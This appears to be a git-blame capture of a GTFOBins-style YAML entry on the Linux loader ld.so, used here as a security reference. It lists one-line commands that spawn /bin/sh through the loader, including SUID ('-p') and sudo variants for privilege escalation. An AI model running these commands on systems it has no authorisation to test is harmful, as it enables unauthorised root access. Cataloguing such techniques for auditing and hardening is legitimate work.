2018-05-21 20:14:41 +01:00
|
|
|
---
|
2018-05-22 12:40:35 +02:00
|
|
|
description: |
|
2018-06-01 12:40:05 +02:00
|
|
|
`ld.so` is the Linux dynamic linker/loader, its filename and location might
|
|
|
|
change across distributions. The proper path is can be obtained with:
|
2018-05-22 12:40:35 +02:00
|
|
|
|
|
|
|
```
|
|
|
|
$ strings /proc/self/exe | head -1
|
|
|
|
/lib64/ld-linux-x86-64.so.2
|
|
|
|
```
|
2018-05-21 20:14:41 +01:00
|
|
|
functions:
|
2018-05-25 15:30:02 +02:00
|
|
|
execute-interactive:
|
2018-07-04 19:26:52 +01:00
|
|
|
- code: "/lib/ld.so /bin/sh"
|
2018-05-21 20:14:41 +01:00
|
|
|
suid-enabled:
|
2018-07-04 19:26:52 +01:00
|
|
|
- code: "./ld.so /bin/sh -p"
|
|
|
|
sudo-enabled:
|
|
|
|
- code: sudo /lib/ld.so /bin/sh
|
2018-05-21 20:14:41 +01:00
|
|
|
---
|